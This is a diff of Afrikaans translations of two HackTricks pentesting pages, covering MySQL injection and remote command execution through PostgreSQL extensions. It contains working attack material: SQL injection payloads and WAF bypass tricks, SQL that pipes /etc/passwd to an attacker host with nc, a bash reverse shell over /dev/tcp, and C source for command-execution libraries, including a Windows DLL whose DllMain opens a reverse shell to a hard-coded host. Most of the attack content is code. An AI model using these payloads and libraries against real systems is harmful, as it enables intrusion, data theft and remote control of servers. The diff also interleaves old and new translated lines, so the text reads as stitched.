- `@@global.version_compile_os`: Gee die bedryfstelsel waarop die MySQL-bediener loop terug (globale omvang).
|
||||
- `@@global.secure_file_priv`: Gee die veilige lêer-voorregwaarde terug (globale omvang).
|
||||
```sql
|
||||
SELECT hex(database())
|
||||
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
|
||||
|
@ -86,31 +61,15 @@ SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
|
|||
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
|
||||
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
|
||||
```
|
||||
## Alle inspuiting
|
||||
|
||||
In die wêreld van webtoepassingsbeveiliging is inspuiting 'n algemene aanvalstegniek wat gebruik word om kwaadwillige kode in 'n toepassing se databasis in te spuit. Hierdie kode kan dan uitgevoer word deur die toepassing, wat die aanvaller toegang gee tot sensitiewe inligting of selfs die volle beheer oor die toepassing.
|
||||
|
||||
Een van die mees algemene vorme van inspuiting is SQL-inspuiting, wat spesifiek gerig is op databasisgebaseerde toepassings wat gebruik maak van SQL (Structured Query Language). Hierdie tipe inspuiting maak gebruik van swakheid in die manier waarop die toepassing gebruikersinsette verwerk en dit direk in SQL-aanvrae invoeg sonder behoorlike sanitasie of validering.
|
||||
|
||||
MySQL is 'n gewilde databasisstelsel wat dikwels gebruik word in webtoepassings. Hier is 'n paar algemene tegnieke vir MySQL-inspuiting:
|
||||
|
||||
1. **Union-inspuiting**: Hierdie tegniek maak gebruik van die `UNION`-klousule in SQL om data van 'n ander tabel in die databasis in te sluit. Dit kan gebruik word om inligting oor die databasisstruktuur te verkry of om data van ander tabelle te ontsluit.
|
||||
|
||||
2. **Blind inspuiting**: Hierdie tegniek maak gebruik van 'n waarheidsgebaseerde benadering om te bepaal of 'n inspuiting suksesvol was of nie. Dit behels die gebruik van SQL-aanvrae wat waar of vals terugvoer, afhangende van die waarheid van 'n spesifieke voorwaarde. Deur hierdie aanval te gebruik, kan 'n aanvaller geleidelik sensitiewe inligting ontsluit.
|
||||
|
||||
3. **Error-based inspuiting**: Hierdie tegniek maak gebruik van die veroorsaking van 'n fout in die SQL-aanvraag om inligting oor die databasis te verkry. Dit kan gedoen word deur spesifieke karakters of sintaksfoute in te sluit wat 'n SQL-fout veroorsaak en die foutboodskap bevat waaruit die aanvaller inligting kan aflei.
|
||||
|
||||
4. **Time-based inspuiting**: Hierdie tegniek maak gebruik van 'n vertraging in die SQL-aanvraag om te bepaal of 'n inspuiting suksesvol was of nie. Dit behels die gebruik van SQL-aanvrae wat 'n vertraging veroorsaak as 'n spesifieke voorwaarde waar is. Deur die tydsvertraging te monitor, kan 'n aanvaller aflei of die inspuiting suksesvol was.
|
||||
|
||||
Dit is belangrik om te verstaan dat inspuiting 'n ernstige beveiligingsrisiko vir webtoepassings is. Dit is noodsaaklik vir ontwikkelaars om behoorlike sanitasie en validering van gebruikersinsette te implementeer om inspuitingsaanvalle te voorkom.
|
||||
## Alle inspuitings
|
||||
```sql
|
||||
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
|
||||
```
|
||||
van [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
|
||||
from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
|
||||
|
||||
## Vloei
|
||||
## Flow
|
||||
|
||||
Onthou dat in "moderne" weergawes van **MySQL** jy "_**information\_schema.tables**_" kan vervang met "_**mysql.innodb\_table\_stats**_**_" (Dit kan nuttig wees om WAFs te omseil).
|
||||
Onthou dat jy in "moderne" weergawes van **MySQL** "_**information\_schema.tables**_" kan vervang met "_**mysql.innodb\_table\_stats**_**"** (Dit kan nuttig wees om WAFs te omseil).
|
||||
```sql
|
||||
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
|
||||
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
|
||||
|
@ -135,9 +94,9 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
|
|||
* `SELECT LEFT(version(),1...lenght(version()))='asd'...`
|
||||
* `SELECT INSTR('foobarbar', 'fo...')=1`
|
||||
|
||||
## Bepaal die aantal kolomme
|
||||
## Ontdek aantal kolomme
|
||||
|
||||
Deur gebruik te maak van 'n eenvoudige ORDER
|
||||
Gebruik 'n eenvoudige ORDER
|
||||
```
|
||||
order by 1
|
||||
order by 2
|
||||
|
@ -150,42 +109,7 @@ UniOn SeLect 1,2
|
|||
UniOn SeLect 1,2,3
|
||||
...
|
||||
```
|
||||
## MySQL Unie Gebaseer
|
||||
|
||||
MySQL Union Based is 'n tipe SQL-injeksie-tegniek wat gebruik word om data uit 'n databasis te onttrek deur die UNION-klausaal te misbruik. Hierdie tegniek maak gebruik van 'n UNION-klausaal om die resultate van twee of meer SQL-aanvrae te kombineer en terug te stuur as een enkele resultaatstel. Dit kan gebruik word om sensitiewe inligting soos gebruikersname, wagwoorde en ander data te verkry.
|
||||
|
||||
### Hoe werk dit?
|
||||
|
||||
Die MySQL Union Based-tegniek maak gebruik van die UNION-klausaal om die resultate van twee of meer SQL-aanvrae te kombineer. Die UNION-klausaal vereis dat die resultaatstelle van die betrokke aanvrae dieselfde aantal kolomme en tipes het. Deur die UNION-klausaal te misbruik, kan 'n aanvaller 'n kwaadwillige SQL-instruksie invoeg wat die resultate van die oorspronklike aanvraag uitbrei om die gewenste data in te sluit.
|
||||
|
||||
### Stappe vir 'n Union Based SQL-injeksie
|
||||
|
||||
1. Identifiseer 'n kwesbare invoerveld waarin SQL-injeksie moontlik is.
|
||||
2. Voer 'n eenvoudige SQL-instruksie in om die aantal kolomme in die resultaatstel te bepaal.
|
||||
3. Verkry die tipes van die kolomme in die resultaatstel.
|
||||
4. Bou 'n kwaadwillige SQL-instruksie met behulp van die UNION-klausaal om die gewenste data in te sluit.
|
||||
5. Voer die kwaadwillige SQL-instruksie in die invoerveld in en onttrek die gewenste data.
|
||||
|
||||
### Voorbeelde
|
||||
|
||||
Hier is 'n voorbeeld van 'n Union Based SQL-injeksie in 'n MySQL-databasis:
|
||||
|
||||
```sql
|
||||
SELECT column1, column2 FROM table1 UNION SELECT column1, column2 FROM table2
|
||||
```
|
||||
|
||||
In hierdie voorbeeld word die resultate van twee aanvrae gekombineer deur die UNION-klausaal te gebruik. Die resultaatstel sal die kolomme column1 en column2 van beide table1 en table2 insluit.
|
||||
|
||||
### Voorkoming van Union Based SQL-injeksies
|
||||
|
||||
Om Union Based SQL-injeksies te voorkom, is dit belangrik om korrekte invoerverifikasie en parameterisering te implementeer. Hier is 'n paar maatreëls wat geneem kan word:
|
||||
|
||||
- Gebruik parameterisering of voorbereide verklarings om insette te ontsmet en te verhoed dat dit as deel van die SQL-instruksie geïnterpreteer word.
|
||||
- Beperk die toegang van die databasisgebruiker tot slegs die nodige funksies en data.
|
||||
- Implementeer 'n veilige ontwikkelingspraktyk deur insetverifikasie en uitsetontsmetting te doen.
|
||||
- Moedig die gebruik van veilige kodeerpraktyke aan, soos die gebruik van voorbereide verklarings en parameterisering.
|
||||
|
||||
Deur hierdie maatreëls te implementeer, kan die risiko van Union Based SQL-injeksies verminder word en die veiligheid van 'n toepassing of webwerf verhoog word.
|
||||
## MySQL Unies Gebaseer
|
||||
```sql
|
||||
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
|
||||
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
|
||||
|
@ -194,29 +118,29 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
|
|||
```
|
||||
## SSRF
|
||||
|
||||
**Leer hier verskillende opsies om 'n Mysql-injeksie te misbruik om 'n SSRF te verkry** [**hier**](mysql-ssrf.md)**.**
|
||||
**Leer hier verskillende opsies om** [**'n Mysql-inspuiting te misbruik om 'n SSRF te verkry**](mysql-ssrf.md)**.**
|
||||
|
||||
## WAF omseilingswenke
|
||||
## WAF omseil truuks
|
||||
|
||||
### Alternatiewe vir information\_schema
|
||||
### Inligting\_schema alternatiewe
|
||||
|
||||
Onthou dat in "moderne" weergawes van **MySQL** jy _**information\_schema.tables**_ kan vervang met _**mysql.innodb\_table\_stats**_ of met _**sys.x$schema\_flattened\_keys**_ of met **sys.schema\_table\_statistics**
|
||||
|
||||
### MySQL-injeksie sonder KOMMAS
|
||||
### MySQL-inspuiting sonder KOMMA'S
|
||||
|
||||
Kies 2 kolomme sonder om enige komma te gebruik ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
|
||||
```
|
||||
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
|
||||
```
|
||||
### Waardes ophaal sonder die kolomnaam
|
||||
### Waarde terugkry sonder die kolomnaam
|
||||
|
||||
As jy op 'n punt kom waar jy die naam van die tabel ken, maar nie die naam van die kolomme binne die tabel nie, kan jy probeer om uit te vind hoeveel kolomme daar is deur iets soos die volgende uit te voer:
|
||||
As jy op 'n stadium die naam van die tabel ken, maar nie die naam van die kolomme binne die tabel nie, kan jy probeer om te vind hoeveel kolomme daar is deur iets soos die volgende uit te voer:
|
||||
```bash
|
||||
# When a True is returned, you have found the number of columns
|
||||
select (select "", "") = (SELECT * from demo limit 1); # 2columns
|
||||
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
|
||||
```
|
||||
Veronderstel dat daar 2 kolomme is (waarvan die eerste die ID is) en die ander een die vlag is, kan jy probeer om die inhoud van die vlag te bruteforce deur karakter vir karakter te probeer:
|
||||
Suppose daar is 2 kolomme (waar die eerste een die ID is) en die ander een die vlag, kan jy probeer om die inhoud van die vlag te bruteforce deur karakter vir karakter te probeer:
|
||||
```bash
|
||||
# When True, you found the correct char and can start ruteforcing the next position
|
||||
select (select 1, 'flaf') = (SELECT * from demo limit 1);
|
||||
|
@ -227,15 +151,15 @@ Meer inligting in [https://medium.com/@terjanq/blind-sql-injection-without-an-in
|
|||
|
||||
Jy kan ander uitvoerings binne die MySQL sien deur die tabel te lees: **sys.x$statement\_analysis**
|
||||
|
||||
### Alternatiewe weergawes
|
||||
### Weergawe alternatief**s**
|
||||
```
|
||||
mysql> select @@innodb_version;
|
||||
mysql> select @@version;
|
||||
mysql> select version();
|
||||
```
|
||||
## Ander MYSQL-injeksiegidse
|
||||
## Ander MYSQL-inspuitingsgidse
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)]
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||||
|
||||
## Verwysings
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||||
|
@ -243,18 +167,21 @@ mysql> select version();
|
|||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante sibersekuriteitsgebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en sibersekuriteitsprofessionals in elke dissipline.
|
||||
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante kuberveiligheid gebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n bruisende ontmoetingspunt vir tegnologie- en kuberveiligheidprofessionals in elke dissipline.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **sibersekuriteitsmaatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,33 @@
|
|||
# RCE met PostgreSQL-uitbreidings
|
||||
# RCE met PostgreSQL Uitbreidings
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy by 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die [hacktricks-opslag](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud-opslag](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## PostgreSQL-uitbreidings
|
||||
## PostgreSQL Uitbreidings
|
||||
|
||||
PostgreSQL is ontwikkel met uitbreidbaarheid as 'n kernfunksie, wat dit moontlik maak om uitbreidings naadloos te integreer asof hulle ingeboude funksies was. Hierdie uitbreidings, essensieel biblioteke geskryf in C, verryk die databasis met addisionele funksies, operateurs, of tipes.
|
||||
PostgreSQL is ontwikkel met uitbreidbaarheid as 'n kernfunksie, wat dit moontlik maak om uitbreidings naatloos te integreer asof dit ingeboude funksies is. Hierdie uitbreidings, wat essensieel biblioteke in C is, verryk die databasis met bykomende funksies, operators of tipes.
|
||||
|
||||
Vanaf weergawe 8.1 en verder word 'n spesifieke vereiste opgelê aan die uitbreidingsbiblioteke: hulle moet saamgestel word met 'n spesiale kop. Sonder dit sal PostgreSQL hulle nie uitvoer nie, wat verseker dat slegs verenigbare en potensieel veilige uitbreidings gebruik word.
|
||||
Vanaf weergawe 8.1 is 'n spesifieke vereiste op die uitbreidingsbiblioteke opgelê: hulle moet saamgekompileer word met 'n spesiale kop. Sonder dit sal PostgreSQL hulle nie uitvoer nie, wat verseker dat slegs kompatible en potensieel veilige uitbreidings gebruik word.
|
||||
|
||||
Hou ook in gedagte dat **as jy nie weet hoe om** [**lêers na die slagoffer te laai deur PostgreSQL te misbruik nie, moet jy hierdie pos lees.**](big-binary-files-upload-postgresql.md)
|
||||
Hou ook in gedagte dat **as jy nie weet hoe om** [**lêers na die slagoffer op te laai deur PostgreSQL nie, moet jy hierdie pos lees.**](big-binary-files-upload-postgresql.md)
|
||||
|
||||
### RCE in Linux
|
||||
|
||||
**Vir meer inligting, kyk: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
|
||||
|
||||
Die uitvoering van stelselopdragte vanaf PostgreSQL 8.1 en vroeëre weergawes is 'n proses wat duidelik gedokumenteer is en reguit is. Dit is moontlik om hierdie te gebruik: [Metasploit-module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
|
||||
Die uitvoering van stelselinstruksies vanaf PostgreSQL 8.1 en vroeëre weergawes is 'n proses wat duidelik gedokumenteer is en eenvoudig is. Dit is moontlik om hierdie: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload) te gebruik.
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
|
||||
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
|
||||
|
@ -38,7 +41,7 @@ CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' L
|
|||
|
||||
<summary>Skryf binêre lêer vanaf base64</summary>
|
||||
|
||||
Om 'n binêre lêer na 'n lêer in postgres te skryf, mag jy dalk base64 moet gebruik, dit sal nuttig wees vir daardie doel:
|
||||
Om 'n binêre lêer in postgres te skryf, mag jy base64 moet gebruik, dit sal nuttig wees vir daardie saak:
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
|
||||
$$
|
||||
|
@ -78,36 +81,35 @@ $$ LANGUAGE 'plpgsql';
|
|||
```
|
||||
</details>
|
||||
|
||||
Maar, wanneer dit op groter weergawes probeer word, **is die volgende fout gewys**:
|
||||
egter, toe dit op groter weergawes probeer is **is die volgende fout gewys**:
|
||||
```c
|
||||
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
|
||||
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
|
||||
```
|
||||
Hierdie fout word verduidelik in die [PostgreSQL-dokumentasie](https://www.postgresql.org/docs/current/static/xfunc-c.html):
|
||||
Hierdie fout word in die [PostgreSQL dokumentasie](https://www.postgresql.org/docs/current/static/xfunc-c.html) verduidelik:
|
||||
|
||||
> Om te verseker dat 'n dinamies gelaaide objeklêer nie in 'n onversoenbare bediener gelaai word nie, toets PostgreSQL of die lêer 'n "towerblok" bevat met die toepaslike inhoud. Dit stel die bediener in staat om voor die hand liggende onversoenbaarhede op te spoor, soos kode wat vir 'n ander hoofweergawe van PostgreSQL saamgestel is. 'n Toringblok word vereis vanaf PostgreSQL 8.2. Om 'n toverblok in te sluit, skryf dit in een (en slegs een) van die module-bronlêers, nadat die kop fmgr.h ingesluit is:
|
||||
> Om te verseker dat 'n dinamies gelaaide objeklêer nie in 'n onverenigbare bediener gelaai word nie, kontroleer PostgreSQL dat die lêer 'n “magiese blok” met die toepaslike inhoud bevat. Dit stel die bediener in staat om voor die hand liggende onverenigbaarhede te detecteer, soos kode wat saamgekom is vir 'n ander hoofweergawe van PostgreSQL. 'n Magiese blok is vereis vanaf PostgreSQL 8.2. Om 'n magiese blok in te sluit, skryf dit in een (en slegs een) van die module-bronlêers, nadat jy die koptekst fmgr.h ingesluit het:
|
||||
>
|
||||
> `#ifdef PG_MODULE_MAGIC`\
|
||||
> `PG_MODULE_MAGIC;`\
|
||||
> `#endif`
|
||||
|
||||
Vanaf PostgreSQL-weergawe 8.2 is die proses vir 'n aanvaller om die stelsel te benut, meer uitdagend gemaak. Die aanvaller moet óf 'n biblioteek gebruik wat reeds op die stelsel teenwoordig is, óf 'n aangepaste biblioteek oplaai. Hierdie aangepaste biblioteek moet teen die verenigbare hoofweergawe van PostgreSQL saamgestel wees en moet 'n spesifieke "towerblok" insluit. Hierdie maatreël verhoog die moeilikheid om PostgreSQL-stelsels te benut aansienlik, aangesien dit 'n dieper begrip van die stelsel se argitektuur en weergaweversoenbaarheid vereis.
|
||||
Sedert PostgreSQL weergawe 8.2 is die proses vir 'n aanvaller om die stelsel te benut moeiliker gemaak. Die aanvaller moet óf 'n biblioteek gebruik wat reeds op die stelsel teenwoordig is, óf 'n pasgemaakte biblioteek oplaai. Hierdie pasgemaakte biblioteek moet saamgekom wees teen die verenigbare hoofweergawe van PostgreSQL en moet 'n spesifieke "magiese blok" insluit. Hierdie maatreël verhoog die moeilikheidsgraad om PostgreSQL-stelsels te benut aansienlik, aangesien dit 'n dieper begrip van die stelsel se argitektuur en weergawe-verenigbaarheid vereis.
|
||||
|
||||
#### Stel die biblioteek saam
|
||||
#### Compile die biblioteek
|
||||
|
||||
Kry die PostgreSQL-weergawe met:
|
||||
Kry die PsotgreSQL weergawe met:
|
||||
```sql
|
||||
SELECT version();
|
||||
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
|
||||
```
|
||||
Vir verenigbaarheid is dit noodsaaklik dat die hoofweergawes ooreenstem. Daarom behoort die samestelling van 'n biblioteek met enige weergawe binne die 9.6.x-reeks suksesvolle integrasie te verseker.
|
||||
Vir kompatibiliteit is dit noodsaaklik dat die hoofweergawes ooreenstem. Daarom moet die saamstel van 'n biblioteek met enige weergawe binne die 9.6.x-reeks suksesvolle integrasie verseker.
|
||||
|
||||
|
||||
Om daardie weergawe op jou stelsel te installeer:
|
||||
Om daardie weergawe in jou stelsel te installeer:
|
||||
```bash
|
||||
apt install postgresql postgresql-server-dev-9.6
|
||||
```
|
||||
En stel die biblioteek saam:
|
||||
En kompileer die biblioteek:
|
||||
```c
|
||||
//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
|
||||
#include <string.h>
|
||||
|
@ -124,19 +126,19 @@ char* command = PG_GETARG_CSTRING(0);
|
|||
PG_RETURN_INT32(system(command));
|
||||
}
|
||||
```
|
||||
Dan laai die saamgestelde biblioteek op en voer bevele uit met:
|
||||
Dan laai die saamgestelde biblioteek op en voer opdragte uit met:
|
||||
```bash
|
||||
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
|
||||
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
|
||||
#Notice the double single quotes are needed to scape the qoutes
|
||||
```
|
||||
Jy kan hierdie **biblioteek vooraf saamgestel** vind vir verskeie verskillende PostgreSQL-weergawes en selfs kan jy hierdie proses **outomatiseer** (as jy PostgreSQL-toegang het) met:
|
||||
U kan hierdie **biblioteek vooraf saamgekompileer** vind vir verskeie versies van PostgreSQL en kan selfs **hierdie proses outomatiseer** (as u PostgreSQL-toegang het) met:
|
||||
|
||||
{% embed url="https://github.com/Dionach/pgexec" %}
|
||||
|
||||
### RCE in Windows
|
||||
|
||||
Die volgende DLL neem as inset die **naam van die binêre lêer** en die **aantal kere** wat jy wil dit uitvoer en voer dit uit:
|
||||
Die volgende DLL neem as invoer die **naam van die binêre** en die **nommer** van **keer** wat u dit wil uitvoer en voer dit uit:
|
||||
```c
|
||||
#include "postgres.h"
|
||||
#include <string.h>
|
||||
|
@ -173,17 +175,17 @@ ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
|
|||
PG_RETURN_VOID();
|
||||
}
|
||||
```
|
||||
Jy kan die DLL wat in hierdie zip saamgestel is, vind:
|
||||
U kan die DLL wat in hierdie zip saamgepers is, vind:
|
||||
|
||||
{% file src="../../../.gitbook/assets/pgsql_exec.zip" %}
|
||||
|
||||
Jy kan aan hierdie DLL aandui **watter binêre lêer om uit te voer** en die aantal kere om dit uit te voer, in hierdie voorbeeld sal dit `calc.exe` 2 keer uitvoer:
|
||||
U kan aan hierdie DLL **watter binêre uit te voer** en die aantal keer om dit uit te voer, aandui; in hierdie voorbeeld sal dit `calc.exe` 2 keer uitvoer:
|
||||
```bash
|
||||
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
|
||||
SELECT remote_exec('calc.exe', 2);
|
||||
DROP FUNCTION remote_exec(text, integer);
|
||||
```
|
||||
In [**hier** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) kan jy hierdie omgekeerde shell vind:
|
||||
In [**hier** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html)kan jy hierdie omgekeerde-shel vind:
|
||||
```c
|
||||
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
|
||||
#define PG_REVSHELL_CALLHOME_PORT "4444"
|
||||
|
@ -261,38 +263,38 @@ int32 arg = PG_GETARG_INT32(0);
|
|||
PG_RETURN_INT32(arg + 1);
|
||||
}
|
||||
```
|
||||
Merk op hoe in hierdie geval die **skadelike kode binne die DllMain-funksie** is. Dit beteken dat dit in hierdie geval nie nodig is om die gelaai funksie in postgresql uit te voer nie, net **die DLL laai** sal die omgekeerde dop uitvoer:
|
||||
Let op hoe in hierdie geval die **kwaadwillige kode binne die DllMain-funksie is**. Dit beteken dat dit in hierdie geval nie nodig is om die gelaaide funksie in postgresql uit te voer nie, net **om die DLL te laai** sal die **terugskakel** uitvoer:
|
||||
```c
|
||||
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
|
||||
```
|
||||
Die [PolyUDF projek](https://github.com/rop-la/PolyUDF) is ook 'n goeie beginpunt met die volledige MS Visual Studio projek en 'n gereedskapbiblioteek (insluitend: _command eval_, _exec_ en _cleanup_) met multiversie-ondersteuning.
|
||||
Die [PolyUDF projek](https://github.com/rop-la/PolyUDF) is ook 'n goeie beginpunt met die volle MS Visual Studio projek en 'n gereed-om-te-gebruik biblioteek (insluitend: _command eval_, _exec_ en _cleanup_) met multiversieondersteuning.
|
||||
|
||||
### RCE in nuutste Prostgres weergawes
|
||||
### RCE in die nuutste PostgreSQL weergawes
|
||||
|
||||
